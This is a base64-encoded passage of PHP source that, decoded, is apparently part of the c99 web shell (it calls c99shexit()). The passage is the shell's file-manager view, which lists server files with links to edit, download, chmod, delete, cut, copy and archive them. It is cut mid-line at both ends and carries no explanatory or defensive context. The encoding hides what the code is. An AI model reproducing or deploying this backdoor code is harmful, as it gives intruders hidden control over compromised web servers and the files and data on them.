ICAgICAgICAkb2JqZWN0c1siaGVhZCJdW10gPSAkcm93Ow0KICAgICAgICAgICAgICAgICAgICB9
DQogICAgICAgICAgICAgICAgICAgIGVsc2VpZiAoaXNfbGluaygkdikpDQogICAgICAgICAgICAg
ICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRvYmplY3RzWyJsaW5rcyJdW10gPSAk
cm93Ow0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVsc2VpZiAo
aXNfZGlyKCR2KSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAg
ICAgJG9iamVjdHNbImZvbGRlcnMiXVtdID0gJHJvdzsNCiAgICAgICAgICAgICAgICAgICAgfQ0K
ICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKGlzX2ZpbGUoJHYpKQ0KICAgICAgICAgICAgICAg
ICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkb2JqZWN0c1siZmlsZXMiXVtdID0gJHJv
dzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAkaSsrOw0KICAg
ICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkcm93ID0gYXJyYXkoKTsNCiAgICAgICAg
ICAgICAgICAkcm93W10gPSAiPGI+TmFtZTwvYj4iOw0KICAgICAgICAgICAgICAgICRyb3dbXSA9
ICI8Yj5TaXplPC9iPiI7DQogICAgICAgICAgICAgICAgJHJvd1tdID0gIjxiPk1vZGlmeTwvYj4i
Ow0KICAgICAgICAgICAgICAgIGlmICghJHdpbikNCiAgICAgICAgICAgICAgICB7DQogICAgICAg
ICAgICAgICAgICAgICRyb3dbXSA9ICI8Yj5Pd25lci9Hcm91cDwvYj4iOw0KICAgICAgICAgICAg
ICAgIH0NCiAgICAgICAgICAgICAgICAkcm93W10gPSAiPGI+UGVybXM8L2I+IjsNCiAgICAgICAg
ICAgICAgICAkcm93W10gPSAiPGI+QWN0aW9uPC9iPiI7DQogICAgICAgICAgICAgICAgJHBhcnNl
c29ydCA9IHBhcnNlc29ydCgkc29ydCk7DQogICAgICAgICAgICAgICAgJHNvcnQgPSAkcGFyc2Vz
b3J0WzBdIC4gJHBhcnNlc29ydFsxXTsNCiAgICAgICAgICAgICAgICAkayA9ICRwYXJzZXNvcnRb
MF07DQogICAgICAgICAgICAgICAgaWYgKCRwYXJzZXNvcnRbMV0gIT0gImEiKQ0KICAgICAgICAg
ICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJHBhcnNlc29ydFsxXSA9ICJkIjsNCiAgICAg
ICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJHkgPSAiPGEgaHJlZj1cIiIgLiAkc3VybCAu
ICJhY3Q9IiAuICRkc3BhY3QgLiAiJmQ9IiAuIHVybGVuY29kZSgkZCkgLiAiJnNvcnQ9IiAuICRr
IC4gKCRwYXJzZXNvcnRbMV0gPT0gImEiID8gImQiIDogImEiKSAuICJcIj4iOw0KICAgICAgICAg
ICAgICAgICR5IC49ICI8aW1nIHNyYz1cIiIgLiAkc3VybCAuICJhY3Q9aW1nJmltZz1zb3J0XyIg
LiAoJHNvcnRbMV0gPT0gImEiID8gImFzYyIgOiAiZGVzYyIpIC4gIlwiIGhlaWdodD1cIjlcIiB3
aWR0aD1cIjE0XCIgYWx0PVwiIiAuICgkcGFyc2Vzb3J0WzFdID09ICJhIiA/ICJBc2MuIiA6ICJE
ZXNjIikgLiAiXCIgYm9yZGVyPVwiMFwiPjwvYT4iOw0KICAgICAgICAgICAgICAgICRyb3dbJGtd
IC49ICR5Ow0KICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwOyRpIDwgY291bnQoJHJvdykgLSAx
OyRpKyspDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBpZiAoJGkgIT0g
JGspDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyb3db
JGldID0gIjxhIGhyZWY9XCIiIC4gJHN1cmwgLiAiYWN0PSIgLiAkZHNwYWN0IC4gIiZkPSIgLiB1
cmxlbmNvZGUoJGQpIC4gIiZzb3J0PSIgLiAkaSAuICRwYXJzZXNvcnRbMV0gLiAiXCI+IiAuICRy
b3dbJGldIC4gIjwvYT4iOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAg
fQ0KICAgICAgICAgICAgICAgICR2ID0gJHBhcnNlc29ydFswXTsNCiAgICAgICAgICAgICAgICB1
c29ydCgkb2JqZWN0c1siZm9sZGVycyJdLCAidGFic29ydCIpOw0KICAgICAgICAgICAgICAgIHVz
b3J0KCRvYmplY3RzWyJsaW5rcyJdLCAidGFic29ydCIpOw0KICAgICAgICAgICAgICAgIHVzb3J0
KCRvYmplY3RzWyJmaWxlcyJdLCAidGFic29ydCIpOw0KICAgICAgICAgICAgICAgIGlmICgkcGFy
c2Vzb3J0WzFdID09ICJkIikNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAg
ICRvYmplY3RzWyJmb2xkZXJzIl0gPSBhcnJheV9yZXZlcnNlKCRvYmplY3RzWyJmb2xkZXJzIl0p
Ow0KICAgICAgICAgICAgICAgICAgICAkb2JqZWN0c1siZmlsZXMiXSA9IGFycmF5X3JldmVyc2Uo
JG9iamVjdHNbImZpbGVzIl0pOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAk
b2JqZWN0cyA9IGFycmF5X21lcmdlKCRvYmplY3RzWyJoZWFkIl0sICRvYmplY3RzWyJmb2xkZXJz
Il0sICRvYmplY3RzWyJsaW5rcyJdLCAkb2JqZWN0c1siZmlsZXMiXSk7DQogICAgICAgICAgICAg
ICAgJHRhYiA9IGFycmF5KCk7DQogICAgICAgICAgICAgICAgJHRhYlsiY29scyJdID0gYXJyYXko
DQogICAgICAgICAgICAgICAgICAgICRyb3cNCiAgICAgICAgICAgICAgICApOw0KICAgICAgICAg
ICAgICAgICR0YWJbImhlYWQiXSA9IGFycmF5KCk7DQogICAgICAgICAgICAgICAgJHRhYlsiZm9s
ZGVycyJdID0gYXJyYXkoKTsNCiAgICAgICAgICAgICAgICAkdGFiWyJsaW5rcyJdID0gYXJyYXko
KTsNCiAgICAgICAgICAgICAgICAkdGFiWyJmaWxlcyJdID0gYXJyYXkoKTsNCiAgICAgICAgICAg
ICAgICAkaSA9IDA7DQogICAgICAgICAgICAgICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGEpDQog
ICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkdiA9ICRhWzBdOw0KICAgICAg
ICAgICAgICAgICAgICAkbyA9IGJhc2VuYW1lKCR2KTsNCiAgICAgICAgICAgICAgICAgICAgJGRp
ciA9IGRpcm5hbWUoJHYpOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJGRpc3BfZnVsbHBhdGgp
DQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRkaXNwcGF0
aCA9ICR2Ow0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVsc2UN
CiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGRpc3BwYXRo
ID0gJG87DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJGRpc3Bw
YXRoID0gc3RyMm1pbmkoJGRpc3BwYXRoLCA2MCk7DQogICAgICAgICAgICAgICAgICAgIGlmIChp
bl9hcnJheSgkdiwgJHNlc3NfZGF0YVsiY3V0Il0pKQ0KICAgICAgICAgICAgICAgICAgICB7DQog
ICAgICAgICAgICAgICAgICAgICAgICAkZGlzcHBhdGggPSAiPHN0cmlrZT4iIC4gJGRpc3BwYXRo
IC4gIjwvc3RyaWtlPiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAg
ICAgZWxzZWlmIChpbl9hcnJheSgkdiwgJHNlc3NfZGF0YVsiY29weSJdKSkNCiAgICAgICAgICAg
ICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGRpc3BwYXRoID0gIjx1PiIgLiAk
ZGlzcHBhdGggLiAiPC91PiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAg
ICAgICAgZm9yZWFjaCAoJHJlZ3hwX2hpZ2hsaWdodCBhcyAkcikNCiAgICAgICAgICAgICAgICAg
ICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJHJbMF0sICRvKSkN
CiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBp
ZiAoKCFpc19udW1lcmljKCRyWzFdKSkgb3IgKCRyWzFdID4gMykpDQogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkclsxXSA9IDA7
DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9iX2NsZWFuKCk7DQogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIldhcm5pbmchIENvbmZpZ3VyYXRpb24gZXJyb3Ig
aW4gXCRyZWd4cF9oaWdobGlnaHRbIiAuICRrIC4gIl1bMF0gLSB1bmtub3duIGNvbW1hbmQuIjsN
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzk5c2hleGl0KCk7DQogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRyWzFdID0gcm91bmQoJHJbMV0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAkaXNkaXIgPSBpc19kaXIoJHYpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBp
ZiAoKCRyWzFdID09IDApIG9yICgoJHJbMV0gPT0gMSkgYW5kICEkaXNkaXIpIG9yICgoJHJbMV0g
PT0gMikgYW5kICEkaXNkaXIpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJHJbMl0pKQ0KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICRyWzJdID0gIjxiPiI7DQogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgJHJbM10gPSAiPC9iPiI7DQogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGlz
cHBhdGggPSAkclsyXSAuICRkaXNwcGF0aCAuICRyWzNdOw0KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgaWYgKCRyWzRdKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0K
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAg
ICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAg
ICAgICR1byA9IHVybGVuY29kZSgkbyk7DQogICAgICAgICAgICAgICAgICAgICR1ZCA9IHVybGVu
Y29kZSgkZGlyKTsNCiAgICAgICAgICAgICAgICAgICAgJHV2ID0gdXJsZW5jb2RlKCR2KTsNCiAg
ICAgICAgICAgICAgICAgICAgJHJvdyA9IGFycmF5KCk7DQogICAgICAgICAgICAgICAgICAgIGlm
ICgkbyA9PSAiLiIpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAg
ICAgICRyb3dbXSA9ICI8aW1nIHNyYz1cIiIgLiAkc3VybCAuICJhY3Q9aW1nJmltZz1zbWFsbF9k
aXJcIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTlcIiBib3JkZXI9XCIwXCI+Jm5ic3A7PGEgaHJl
Zj1cIiIgLiAkc3VybCAuICJhY3Q9IiAuICRkc3BhY3QgLiAiJmQ9IiAuIHVybGVuY29kZShyZWFs
cGF0aCgkZCAuICRvKSkgLiAiJnNvcnQ9IiAuICRzb3J0IC4gIlwiPiIgLiAkbyAuICI8L2E+IjsN
CiAgICAgICAgICAgICAgICAgICAgICAgICRyb3dbXSA9ICJMSU5LIjsNCiAgICAgICAgICAgICAg
ICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKCRvID09ICIuLiIpDQogICAgICAg
ICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyb3dbXSA9ICI8aW1nIHNy
Yz1cIiIgLiAkc3VybCAuICJhY3Q9aW1nJmltZz1leHRfbG5rXCIgaGVpZ2h0PVwiMTZcIiB3aWR0
aD1cIjE5XCIgYm9yZGVyPVwiMFwiPiZuYnNwOzxhIGhyZWY9XCIiIC4gJHN1cmwgLiAiYWN0PSIg
LiAkZHNwYWN0IC4gIiZkPSIgLiB1cmxlbmNvZGUocmVhbHBhdGgoJGQgLiAkbykpIC4gIiZzb3J0
PSIgLiAkc29ydCAuICJcIj4iIC4gJG8gLiAiPC9hPiI7DQogICAgICAgICAgICAgICAgICAgICAg
ICAkcm93W10gPSAiTElOSyI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAg
ICAgICAgZWxzZWlmIChpc19kaXIoJHYpKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAg
ICAgICAgICAgICAgICAgICBpZiAoaXNfbGluaygkdikpDQogICAgICAgICAgICAgICAgICAgICAg
ICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRpc3BwYXRoIC49ICIgPT4gIiAuIHJl
YWRsaW5rKCR2KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdHlwZSA9ICJMSU5LIjsN
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcm93W10gPSAiPGltZyBzcmM9XCIiIC4gJHN1
cmwgLiAiYWN0PWltZyZpbWc9ZXh0X2xua1wiIGhlaWdodD1cIjE2XCIgd2lkdGg9XCIxNlwiIGJv
cmRlcj1cIjBcIj4mbmJzcDs8YSBocmVmPVwiIiAuICRzdXJsIC4gImFjdD1scyZkPSIgLiAkdXYg
LiAiJnNvcnQ9IiAuICRzb3J0IC4gIlwiPlsiIC4gJGRpc3BwYXRoIC4gIl08L2E+IjsNCiAgICAg
ICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAg
ICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdHlwZSA9
ICJESVIiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyb3dbXSA9ICI8aW1nIHNyYz1c
IiIgLiAkc3VybCAuICJhY3Q9aW1nJmltZz1zbWFsbF9kaXJcIiBoZWlnaHQ9XCIxNlwiIHdpZHRo
PVwiMTlcIiBib3JkZXI9XCIwXCI+Jm5ic3A7PGEgaHJlZj1cIiIgLiAkc3VybCAuICJhY3Q9bHMm
ZD0iIC4gJHV2IC4gIiZzb3J0PSIgLiAkc29ydCAuICJcIj5bIiAuICRkaXNwcGF0aCAuICJdPC9h
PiI7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAk
cm93W10gPSAkdHlwZTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAg
ICBlbHNlaWYgKGlzX2ZpbGUoJHYpKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAg
ICAgICAgICAgICAgICAkZXh0ID0gZXhwbG9kZSgiLiIsICRvKTsNCiAgICAgICAgICAgICAgICAg
ICAgICAgICRjID0gY291bnQoJGV4dCkgLSAxOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGV4
dCA9ICRleHRbJGNdOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGV4dCA9IHN0cnRvbG93ZXIo
JGV4dCk7DQogICAgICAgICAgICAgICAgICAgICAgICAkcm93W10gPSAiPGltZyBzcmM9XCIiIC4g
JHN1cmwgLiAiYWN0PWltZyZpbWc9ZXh0XyIgLiAkZXh0IC4gIlwiIGJvcmRlcj1cIjBcIj4mbmJz
cDs8YSBocmVmPVwiIiAuICRzdXJsIC4gImFjdD1mJmY9IiAuICR1byAuICImZD0iIC4gJHVkIC4g
IiZcIj4iIC4gJGRpc3BwYXRoIC4gIjwvYT4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHJv
d1tdID0gdmlld19zaXplKCRhWzFdKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAg
ICAgICAgICAgICAkcm93W10gPSBkYXRlKCJkLm0uWSBIOmk6cyIsICRhWzJdKTsNCiAgICAgICAg
ICAgICAgICAgICAgaWYgKCEkd2luKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAg
ICAgICAgICAgICAgICAkcm93W10gPSAkYVszXTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAg
ICAgICAgICAgICAgICAgICAkcm93W10gPSAiPGEgaHJlZj1cIiIgLiAkc3VybCAuICJhY3Q9Y2ht
b2QmZj0iIC4gJHVvIC4gIiZkPSIgLiAkdWQgLiAiXCI+PGI+IiAuIHZpZXdfcGVybXNfY29sb3Io
JHYpIC4gIjwvYj48L2E+IjsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRvID09ICIuIikNCiAg
ICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGNoZWNrYm94ID0g
IjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYWN0Ym94W11cIiBvbmNsaWNrPVwibHNf
cmV2ZXJzZV9hbGwoKTtcIj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGktLTsNCiAgICAg
ICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAg
ICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjaGVja2JveCA9ICI8aW5wdXQgdHlw
ZT1cImNoZWNrYm94XCIgbmFtZT1cImFjdGJveFtdXCIgaWQ9XCJhY3Rib3giIC4gJGkgLiAiXCIg
dmFsdWU9XCIiIC4gaHRtbHNwZWNpYWxjaGFycygkdikgLiAiXCI+IjsNCiAgICAgICAgICAgICAg
ICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCR2KSkNCiAgICAgICAgICAg
ICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJvd1tdID0gIjxhIGhyZWY9XCIi
IC4gJHN1cmwgLiAiYWN0PWQmZD0iIC4gJHV2IC4gIlwiPjxpbWcgc3JjPVwiIiAuICRzdXJsIC4g
ImFjdD1pbWcmaW1nPWV4dF9kaXpcIiBhbHQ9XCJJbmZvXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1c
IjE2XCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDsiIC4gJGNoZWNrYm94Ow0KICAgICAgICAgICAg
ICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAg
ew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJvd1tdID0gIjxhIGhyZWY9XCIiIC4gJHN1cmwg
LiAiYWN0PWYmZj0iIC4gJHVvIC4gIiZmdD1pbmZvJmQ9IiAuICR1ZCAuICJcIj48aW1nIHNyYz1c
IiIgLiAkc3VybCAuICJhY3Q9aW1nJmltZz1leHRfZGl6XCIgYWx0PVwiSW5mb1wiIGhlaWdodD1c
IjE2XCIgd2lkdGg9XCIxNlwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7PGEgaHJlZj1cIiIgLiAk
c3VybCAuICJhY3Q9ZiZmPSIgLiAkdW8gLiAiJmZ0PWVkaXQmZD0iIC4gJHVkIC4gIlwiPjxpbWcg
c3JjPVwiIiAuICRzdXJsIC4gImFjdD1pbWcmaW1nPWNoYW5nZVwiIGFsdD1cIkNoYW5nZVwiIGhl
aWdodD1cIjE2XCIgd2lkdGg9XCIxOVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7PGEgaHJlZj1c
IiIgLiAkc3VybCAuICJhY3Q9ZiZmPSIgLiAkdW8gLiAiJmZ0PWRvd25sb2FkJmQ9IiAuICR1ZCAu
ICJcIj48aW1nIHNyYz1cIiIgLiAkc3VybCAuICJhY3Q9aW1nJmltZz1kb3dubG9hZFwiIGFsdD1c
IkRvd25sb2FkXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE5XCIgYm9yZGVyPVwiMFwiPjwvYT4m
bmJzcDsiIC4gJGNoZWNrYm94Ow0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAg
ICAgICAgIGlmICgoJG8gPT0gIi4iKSBvciAoJG8gPT0gIi4uIikpDQogICAgICAgICAgICAgICAg
ICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR0YWJbImhlYWQiXVtdID0gJHJvdzsNCiAg
ICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKGlzX2xpbmso
JHYpKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkdGFi
WyJsaW5rcyJdW10gPSAkcm93Ow0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAg
ICAgICAgIGVsc2VpZiAoaXNfZGlyKCR2KSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAg
ICAgICAgICAgICAgICAgICAgJHRhYlsiZm9sZGVycyJdW10gPSAkcm93Ow0KICAgICAgICAgICAg
ICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVsc2VpZiAoaXNfZmlsZSgkdikpDQogICAg
ICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR0YWJbImZpbGVzIl1b
XSA9ICRyb3c7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJGkr
KzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkdGFibGUg
PSBhcnJheV9tZXJnZSgkdGFiWyJjb2xzIl0sICR0YWJbImhlYWQiXSwgJHRhYlsiZm9sZGVycyJd
LCAkdGFiWyJsaW5rcyJdLCAkdGFiWyJmaWxlcyJdKTsNCiAgICAgICAgICAgIGVjaG8gIjxjZW50
ZXI+PGI+TGlzdGluZyBmb2xkZXIgKCIgLiBjb3VudCgkdGFiWyJmaWxlcyJdKSAuICIgZmlsZXMg
YW5kICIgLiAoY291bnQoJHRhYlsiZm9sZGVycyJdKSArIGNvdW50KCR0YWJbImxpbmtzIl0pKSAu
ICIgZm9sZGVycyk6PC9iPjwvY2VudGVyPjxicj48VEFCTEUgY2VsbFNwYWNpbmc9MCBjZWxsUGFk
ZGluZz0wIHdpZHRoPTEwMCUgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9IzQzMzMz
MyBib3JkZXI9MD48Zm9ybSBhY3Rpb249XCIiIC4gJHN1cmwgLiAiXCIgbWV0aG9kPVBPU1QgbmFt
ZT1cImxzX2Zvcm1cIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9IiAuICRkc3Bh
Y3QgLiAiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9IiAuICRkIC4gIj4iOw0KICAg
ICAgICAgICAgZm9yZWFjaCAoJHRhYmxlIGFzICRyb3cpDQogICAgICAgICAgICB7DQogICAgICAg
ICAgICAgICAgZWNobyAiPHRyPlxyXG4iOw0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRyb3cg
YXMgJHYpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGQ+
IiAuICR2IC4gIjwvdGQ+XHJcbiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAg
IGVjaG8gIjwvdHI+XHJcbiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICI8L3Rh
YmxlPjxociBzaXplPVwiMVwiIG5vc2hhZGU+PHAgYWxpZ249XCJyaWdodFwiPg0KICA8c2NyaXB0
Pg0KICBmdW5jdGlvbiBsc19zZXRjaGVja2JveGFsbChzdGF0dXMpDQogIHsNCiAgIHZhciBpZCA9
IDA7DQogICB2YXIgbnVtID0gIiAuIChjb3VudCgkdGFibGUpIC0gMikgLiAiOw0KICAgd2hpbGUg
KGlkIDw9IG51bSkNCiAgIHsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0Ym94Jytp
ZCkuY2hlY2tlZCA9IHN0YXR1czsNCiAgICBpZCsrOw0KICAgfQ0KICB9DQogIGZ1bmN0aW9uIGxz
X3JldmVyc2VfYWxsKCkNCiAgew0KICAgdmFyIGlkID0gMDsNCiAgIHZhciBudW0gPSAiIC4gKGNv
dW50KCR0YWJsZSkgLSAyKSAuICI7DQogICB3aGlsZSAoaWQgPD0gbnVtKQ0KICAgew0KICAgIGRv
Y3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3Rib3gnK2lkKS5jaGVja2VkID0gIWRvY3VtZW50Lmdl
dEVsZW1lbnRCeUlkKCdhY3Rib3gnK2lkKS5jaGVja2VkOw0KICAgIGlkKys7DQogICB9DQogIH0N
CiAgPC9zY3JpcHQ+DQogIDxpbnB1dCB0eXBlPVwiYnV0dG9uXCIgb25jbGljaz1cImxzX3NldGNo
ZWNrYm94YWxsKHRydWUpO1wiIHZhbHVlPVwiU2VsZWN0IGFsbFwiPiZuYnNwOyZuYnNwOzxpbnB1
dCB0eXBlPVwiYnV0dG9uXCIgb25jbGljaz1cImxzX3NldGNoZWNrYm94YWxsKGZhbHNlKTtcIiB2
YWx1ZT1cIlVuc2VsZWN0IGFsbFwiPiANCiAgPGI+PGltZyBzcmM9XCIiIC4gJHN1cmwgLiAiYWN0
PWltZyZpbWc9YXJyb3dfbHRyXCIgYm9yZGVyPVwiMFwiPiI7DQogICAgICAgICAgICBpZiAoY291
bnQoYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY29weSJdLCAkc2Vzc19kYXRhWyJjdXQiXSkpID4g
MCBhbmQgKCR1c2Vmc2J1ZmYpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGVjaG8g
IjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWFjdGFyY2J1ZmYgdmFsdWU9XCJQYWNrIGJ1ZmZlciB0
byBhcmNoaXZlXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImFjdGFyY2J1ZmZf
cGF0aFwiIHZhbHVlPVwiYXJjaGl2ZV8iIC4gc3Vic3RyKG1kNShyYW5kKDEsIDEwMDApIC4gcmFu
ZCgxLCAxMDAwKSkgLCAwLCA1KSAuICIudGFyLmd6XCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7
Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9XCJhY3RwYXN0ZWJ1ZmZcIiB2YWx1
ZT1cIlBhc3RlXCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5
cGU9c3VibWl0IG5hbWU9XCJhY3RlbXB0eWJ1ZmZcIiB2YWx1ZT1cIkVtcHR5IGJ1ZmZlclwiPiZu
YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyI7DQogICAgICAgICAgICB9DQogICAg
ICAgICAgICBlY2hvICI8c2VsZWN0IG5hbWU9YWN0PjxvcHRpb24gdmFsdWU9XCIiIC4gJGFjdCAu
ICJcIj5XaXRoIHNlbGVjdGVkOjwvb3B0aW9uPiI7DQogICAgICAgICAgICBlY2hvICI8b3B0aW9u
IHZhbHVlPWRlbGV0ZSIgLiAoJGRzcGFjdCA9PSAiZGVsZXRlIiA/ICIgc2VsZWN0ZWQiIDogIiIp
IC4gIj5EZWxldGU8L29wdGlvbj4iOw0KICAgICAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1j
aG1vZCIgLiAoJGRzcGFjdCA9PSAiY2htb2QiID8gIiBzZWxlY3RlZCIgOiAiIikgLiAiPkNoYW5n
ZS1tb2RlPC9vcHRpb24+IjsNCiAgICAgICAgICAgIGlmICgkdXNlZnNidWZmKQ0KICAgICAgICAg
ICAgew0KICAgICAgICAgICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9Y3V0IiAuICgkZHNwYWN0
ID09ICJjdXQiID8gIiBzZWxlY3RlZCIgOiAiIikgLiAiPkN1dDwvb3B0aW9uPiI7DQogICAgICAg
ICAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1jb3B5IiAuICgkZHNwYWN0ID09ICJjb3B5IiA/
